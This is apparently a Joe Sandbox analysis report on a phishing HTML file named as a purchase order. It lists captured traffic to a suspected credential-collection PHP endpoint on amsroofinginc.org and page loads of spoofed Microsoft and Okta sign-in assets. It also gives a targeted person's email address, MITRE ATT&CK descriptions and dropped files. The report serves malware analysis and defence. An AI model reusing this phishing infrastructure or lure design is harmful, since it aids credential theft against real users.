Source: global traffic	HTTP traffic detected: GET /npm/axios/dist/axios.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/admin/lifeattach HTTP/1.1Host: amsroofinginc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /npm/axios/dist/axios.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=aa18pPBfZOLSHZ1&MD=3CrBuWA5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/illustration?ts=636777842252358527 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/bannerlogo?ts=636776137975672854 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1Host: amsroofinginc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/bannerlogo?ts=636776137975672854 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0/logintenantbranding/0/illustration?ts=636777842252358527 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1Host: amsroofinginc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
Source: global traffic	HTTP traffic detected: GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1Host: amsroofinginc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
Source: global traffic	HTTP traffic detected: GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1Host: amsroofinginc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=aa18pPBfZOLSHZ1&MD=3CrBuWA5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1Host: amsroofinginc.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883

Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: amsroofinginc.org
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 1.2.pages.csv
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 1.3.pages.csv

Source: PO 635614 635613_CQDM.html	HTTP Parser: ann-kathrin.koch@elkamet.de
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: ann-kathrin.koch@elkamet.de
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: ann-kathrin.koch@elkamet.de
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: ann-kathrin.koch@elkamet.de
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: ann-kathrin.koch@elkamet.de

Source: PO 635614 635613_CQDM.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/PO%20635614%20635613_CQDM.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO 635614 635613_CQDM.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Windows Analysis Report
PO 635614 635613_CQDM.html